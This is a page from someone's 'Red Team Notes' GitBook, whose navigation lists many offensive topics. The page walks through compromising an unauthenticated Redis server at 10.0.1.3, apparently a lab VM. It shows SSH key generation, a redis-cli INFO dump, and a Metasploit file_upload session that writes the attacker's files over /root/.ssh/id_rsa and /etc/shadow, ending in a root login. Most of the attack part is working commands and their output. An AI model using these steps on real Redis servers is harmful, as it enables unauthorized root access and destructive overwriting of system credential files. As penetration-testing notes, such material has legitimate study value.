Red Team Notes
1.0.0
1.0.0
  • Introduction
  • PowerShell
    • find_files_by_name
    • powershell_web_access
    • enable_psremoting
    • powershell_sans_cheat
    • powerup_-_privilege_escalation
    • user_enumeration
    • powershell_-_quickies
    • constrained_language_breakout
    • powershell_-_get-system
    • domain_enumeration
    • powershell
    • random_powershell
  • mainframe
    • tso_commands
    • nmap_stuff_-_recon
  • Links and Random
    • Commands--mount-shares
    • Commands--responder
    • Commands--nac_testing
    • trash
    • Commands--nessus-openvas
    • Commands--named_pipes
    • ptx
    • Commands--mortar-shells
    • Redis-Cheatsheet
    • wifi_driver_stuff
    • bypassing_applocker_living_off_land
    • Commands--remote_and_local_file_inclusion
    • Commands--netcat-ftp
    • mimikatz
  • wifi-hacking
    • eaphammer
    • aircrack-ng_and_jtr_attack
    • new_page
    • cracking_wpa_attack
    • aircrack-ng
    • wifite
    • basics
    • hostapd
    • cowpatty_attack
    • rogue_access_point
    • cracking_wep_via_a_client_attack
    • handshake-via-pcap
    • clientless_wep_attack
    • fluxion
    • reaver
    • crack_wep
    • pyrit_attack
    • wep_shared_key_authentication_attack
  • mobile
    • qark
    • dex2jar
    • jd-gui
    • mobile
    • baby_steps
    • apktool
    • smali_and_baksmali
  • Cobalt-Strike
    • apache_rewrite_.htaccess
    • playbook
      • mail_and_smtp_enumeration-manipulation
      • lateral_movement
      • overpass_the_hash_with_rubeus-beacon_-_h
      • persistence
      • privilege_escalation
      • after_initial_access
    • situational_awareness_-_harmj0y
    • malleable
    • sid_hopping
    • generating_certificates
    • safety
    • random_commands
    • golden_ticket
    • go_daddy_domain
    • github_repos
    • malware_av_evasion
    • malware_av_evasion--main.go
    • c2_infrastructure
    • cobalt_strike_certificates
    • cpl_resource_runner_payload
  • Metasploit
    • nessus
    • network
    • meterpreter
  • Information Gathering Enumeration
    • 35 Searchsploit
    • 30 Find
    • 21 WinRM
    • 50 Gobuster
    • Enumeration by Port Number
    • 40 Active Directory
    • Linux Prevesc
    • pivoting
    • 20 Reconnoitre
    • Kerberos cheatsheet
    • 11 SMB Part 1
    • 00 ENUMERATION
    • 10 Nmap
    • 12-check-for-anonymous-smb
    • bruteforcing
    • 60 DNS Enumeration
    • 15 Firefox
  • Commands
    • rbash
    • tools-sources
    • tar
    • network-change-ip
    • sed_and_changing_files_for_malware_evasi
    • web_discovery
    • xxd
    • droopescan
    • c#
    • proxychains-admin-network
    • de-duplicate
    • privilege-escalation-windows_-_and_empir
    • ping_sweep
    • wget
    • snmp
    • custom-payloads
    • python
    • curl-wget
    • proxychains
    • goddi_-_domain_enumeration
    • nginx-bypass
    • outlook_and_owa
    • physical_hacking--rasperry_pi
    • have_a_shell
    • xml-xxe-xpath
    • xss-iframe
    • port-forward
    • physical_hacking
    • pack
    • client-side-iframe-attack
    • waf
    • laps
    • images-with-files-in-them
    • fresh-install
    • privilege-escalation-linux
    • masscan
    • arp-spoof
    • shellshock-squid
    • merlin
    • redis
    • get-browserdata
    • lateral_movement
    • smb-netbios-rpc
    • password-cracking
    • virtual-box_guest_additions
    • host_discovery-dns
    • certificate_tls_and_ssl
    • postgresql
    • physical_hacking--bash_bunny
    • powerview--new_page
    • mail_sniper
    • searchsploit
    • crackmapexec
    • user_agent
    • lolbins
    • files-inside-of-pictures
    • random_shellcode_-_scratch-pad
    • linux
    • ports
    • block-ip-iptables
    • httpscreenshot
    • dnscat
    • wp-scan
    • gather-gpp-creds
    • group-policy-decrypt-passwords
    • buffer-overflow
    • mac_address_change
    • sql
    • compiling-code
    • shell-for-buffer-overflow
    • hex_encode_command_line
    • spawn_a_better_shell_-_break_out_of_shit
    • nikto-proxy
    • osint
    • assembly
    • sshuttle
    • nmap_and_scanning
    • root_user_add
    • pass_the_hash
    • test-for-xxe
    • payloads
    • webdav
    • cut_commands
    • unicorn_scan
    • rdesktop_and_screen_for_linux
    • spooler_exploit
    • dns-zone-transfer
    • ssh
    • password-grep
  • reverse-shell-one-liners
    • ruby
    • c-language-reverse-shell
    • reverse_shell_one_liners
    • perl-reverse-shell-cgi-format
    • java_reverse_shell
    • python_reverse_shell
  • Bypass-Applocker
    • vbs_macro
    • pubprn.vbs
    • demiguise
    • mshta
    • regsvcs
    • regasm_2
    • bypass-uac
    • installutil
  • windows
    • uninstall_patches
    • passwords
    • powerview_3.0,_harmj0y
    • port_forward
    • powerview_acl_enum-abuse
    • powerview,_enumerate_groups-ac
    • search_4_loot
    • firewall
    • laps_abuse
    • enumeration
    • Windows
    • Windows_service_abuse
    • Windows Enumeration
  • mimikatz
    • mimikatz_list_modules
    • list_commands_in_module
    • mimikatz
    • remote_control_rpc
    • applocker_bypass_and_other_sn
    • mimikatz_-_start_and_stop_processes
    • base64_all_the_things
    • rdp
    • avoid_new_events
    • mimikatz_-_tokens
  • red-team
    • privilege_escalation_across_trusts
    • file_servers_and_files
    • lateral_movement
    • Commands--red_team
    • forest_enumeration
    • persistence_techniques
    • privilege_escalation
  • Start Procedure
    • Start-Procedure
  • Tools to add to Kali Linux
  • AD-notes
    • more-ad-notes
    • bloodhound
    • ad-notes-chirag
    • enumeration
    • pam_abuse
    • laps_abuse
    • domain_privilege_escalation
    • active_directory_one_liners
  • Setting up Kali Linux
    • Tools to add to Kali Linux
    • Items to Install in Kali
      • tmux
        • tmux_config
        • Setup_-_TMUX
        • tmux_cheat_sheet
      • crontab
      • rclone
      • Items_to_install_in_Kali
    • Tools to install
  • SQL
    • abusing_sql_server_trusts--privilege_escalation
    • abusing_sql_server_trusts
    • abusing_sql_server_trusts--post_exploitation_enumeration
    • 31 SQL
  • tools to install
  • command line
  • simple note
  • Enumeration
  • Tools to install on Windows
  • temp-readme
Powered by GitBook
On this page
  • Server
  • Clients
  • Memory
  • Persistence
  • Stats
  • Replication
  • CPU
  • Cluster
  • Keyspace

Was this helpful?

  1. Commands

redis

PreviousmerlinNextget-browserdata

Last updated 3 years ago

Was this helpful?

REDIS redis

command list

<-- detailed

Commands I used, and work from ~ directory

ssh-keygen -t rsa

  • You will be asked

Enter file in which to save the key (/root/.ssh/id_rsa): /root/.ssh/id_rsa already exists. Overwrite (y/n)? y Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub.

*When you are asked the above I just hit enter to get all defaults -- then I get the following output

Your public key has been saved in /root/.ssh/id_rsa.pub. The key fingerprint is: SHA256:j2G4Ol5LoJR9bgy808TvXz8W56KVp/o/leF9uWcKl3c root@kali

*Now I enter

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > /root/Desktop/foo.txt <--this will output

the keygen to the desktop

to be continued

4) redis hacking root@kali:~# redis-cli -h 10.0.1.3 10.0.1.3:6379> INFO

Server

redis_version:3.0.7 redis_git_sha1:00000000 redis_git_dirty:0 redis_build_id:aa70bcb321ba8313 redis_mode:standalone os:Linux 3.19.0-25-generic i686 arch_bits:32 multiplexing_api:epoll gcc_version:4.8.4 process_id:1215 run_id:f77a1654a20f1a67cadbe83761f0bd907ce01e0e tcp_port:6379 uptime_in_seconds:4070 uptime_in_days:0 hz:10 lru_clock:15370196 config_file:/etc/redis/6379.conf

Clients

connected_clients:2 client_longest_output_list:0 client_biggest_input_buf:0 blocked_clients:0

Memory

used_memory:659136 used_memory_human:643.69K used_memory_rss:9306112 used_memory_peak:687064 used_memory_peak_human:670.96K used_memory_lua:24576 mem_fragmentation_ratio:14.12 mem_allocator:jemalloc-3.6.0

Persistence

loading:0 rdb_changes_since_last_save:1 rdb_bgsave_in_progress:0 rdb_last_save_time:1458210485 rdb_last_bgsave_status:ok rdb_last_bgsave_time_sec:0 rdb_current_bgsave_time_sec:-1 aof_enabled:0 aof_rewrite_in_progress:0 aof_rewrite_scheduled:0 aof_last_rewrite_time_sec:-1 aof_current_rewrite_time_sec:-1 aof_last_bgrewrite_status:ok aof_last_write_status:ok

Stats

total_connections_received:21 total_commands_processed:74 instantaneous_ops_per_sec:0 total_net_input_bytes:6574 total_net_output_bytes:22122 instantaneous_input_kbps:0.00 instantaneous_output_kbps:0.00 rejected_connections:0 sync_full:0 sync_partial_ok:0 sync_partial_err:0 expired_keys:0 evicted_keys:0 keyspace_hits:0 keyspace_misses:0 pubsub_channels:0 pubsub_patterns:0 latest_fork_usec:14331 migrate_cached_sockets:0

Replication

role:master connected_slaves:0 master_repl_offset:0 repl_backlog_active:0 repl_backlog_size:1048576 repl_backlog_first_byte_offset:0 repl_backlog_histlen:0

CPU

used_cpu_sys:34.07 used_cpu_user:0.28 used_cpu_sys_children:0.02 used_cpu_user_children:0.00

Cluster

cluster_enabled:0

Keyspace

db0:keys=2,expires=0,avg_ttl=0 10.0.1.3:6379>

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt/.ssh"

Module options (auxiliary/scanner/redis/file_upload):

Name Current Setting Required Description

DISABLE_RDBCOMPRESSION true yes Disable compression when saving if found to be enabled LocalFile no Local file to be uploaded Password foobared no Redis password for authentication test RHOSTS yes The target address range or CIDR identifier RPORT 6379 yes The target port RemoteFile no Remote file path THREADS 1 yes The number of concurrent threads

msf auxiliary(file_upload) > set RHOSTS 10.0.1.3 RHOSTS => 10.0.1.3 msf auxiliary(file_upload) > exploit

[-] Auxiliary failed: RuntimeError bad-config: LocalFile must be set [-] Call stack: [-] /usr/share/metasploit-framework/lib/msf/core/module.rb:291:in fail_with' [-] /usr/share/metasploit-framework/modules/auxiliary/scanner/redis/file_upload.rb:150:inrun_host' [-] /usr/share/metasploit-framework/lib/msf/core/auxiliary/scanner.rb:121:in block (2 levels) in run' [-] /usr/share/metasploit-framework/lib/msf/core/thread_manager.rb:100:inblock in spawn' [*] Auxiliary module execution completed msf auxiliary(file_upload) > set LocalFile /root/.ssh/foo.txt LocalFile => /root/.ssh/foo.txt msf auxiliary(file_upload) > set RemoteFile /root/.ssh/authorized_keys RemoteFile => /root/.ssh/authorized_keys msf auxiliary(file_upload) > exploit

[-] 10.0.1.3:6379 - 10.0.1.3:6379 -- failed to save 392 bytes to /root/.ssh/authorized_keys (permissions?) [] Scanned 1 of 1 hosts (100% complete) [] Auxiliary module execution completed msf auxiliary(file_upload) > set RemoteFile /root/.ssh/id_rsa RemoteFile => /root/.ssh/id_rsa msf auxiliary(file_upload) > exploit

[+] 10.0.1.3:6379 - 10.0.1.3:6379 -- saved 392 bytes inside of redis DB at /root/.ssh/id_rsa [] Scanned 1 of 1 hosts (100% complete) [] Auxiliary module execution completed msf auxiliary(file_upload) > set RemoteFile /etc/shadow RemoteFile => /etc/shadow msf auxiliary(file_upload) > exploit

[+] 10.0.1.3:6379 - 10.0.1.3:6379 -- saved 392 bytes inside of redis DB at /etc/shadow [] Scanned 1 of 1 hosts (100% complete) [] Auxiliary module execution completed msf auxiliary(file_upload) > set LocalFile /etc/shadow LocalFile => /etc/shadow msf auxiliary(file_upload) > set RemoteFile /etc/shadow RemoteFile => /etc/shadow msf auxiliary(file_upload) > exploit

[+] 10.0.1.3:6379 - 10.0.1.3:6379 -- saved 1664 bytes inside of redis DB at /etc/shadow [] Scanned 1 of 1 hosts (100% complete) [] Auxiliary module execution completed msf auxiliary(file_upload) >

DONE i logged in to VM on root.

http://redis.io/commands
http://blaszczakm.blogspot.com/2016/03/kevgir-vm-writeup.html
http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/